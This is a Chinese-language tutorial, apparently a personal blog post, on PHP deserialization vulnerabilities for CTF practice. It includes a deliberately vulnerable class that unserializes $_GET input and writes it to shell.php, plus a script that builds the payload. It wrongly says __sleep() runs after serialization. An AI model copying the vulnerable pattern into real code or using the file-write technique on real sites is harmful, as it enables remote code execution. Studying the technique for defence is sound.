PHP反序列化学习

前言

貌似最近的比赛都喜欢出PHP反序列化,赶紧学习一波。

关键函数

序列化与反序列化函数

1
2
serialize()//序列化,将传入的对象转换为字符串
unserialize()//反序列化,将序列化的字符串还原成对象

魔法函数

1
2
3
4
5
6
7
8
9
__construct()//当一个对象创建时被调用

__destruct()//当一个对象销毁时被调用

__toString()//当一个对象被当作一个字符串使用

__sleep() //在对象在被序列化之后调用

__wakeup()//在字符串反序列化之后调用

利用方法

由于魔术方法不需要调用可以自己执行,当反序列化的输入参数可控且未经过滤时,我们可以通过构造特定的序列化字符串,控制对象内部的变量甚至函数

利用场景

__wakeup()或者__destruct()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?PHP
class test1{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w");
fwrite($fp, $this->test);
fclose($fp);
}
}


$input = $_GET['a'];
echo $input;
echo '</br>';
$input_unser = unserialize($input);

require "shell.php";
?>

由代码可知通过输入构造的字符串,把参数$test覆盖掉,即可达到文件写入的目的。

写一个php脚本获取需要构造的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?PHP
class test1{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w");
fwrite($fp, $this->test);
fclose($fp);
}
}

$object1 = new test1();
$object1->test = "<?PHP phpinfo(); ?>";
$object1_ser = serialize($object1);
echo $object1_ser;

?>

这里不知道为什么 <?PHP phpinfo();?> 序列化之后打印出来是空,貌似是不能够打印能运行的语句吧。

得到字符串后传参即可写入shell.php中,为了方便把shell.php包含进来了。

成功之后的结果

参考文章:

最通俗易懂的PHP反序列化原理分析

浅谈php反序列化漏洞

0%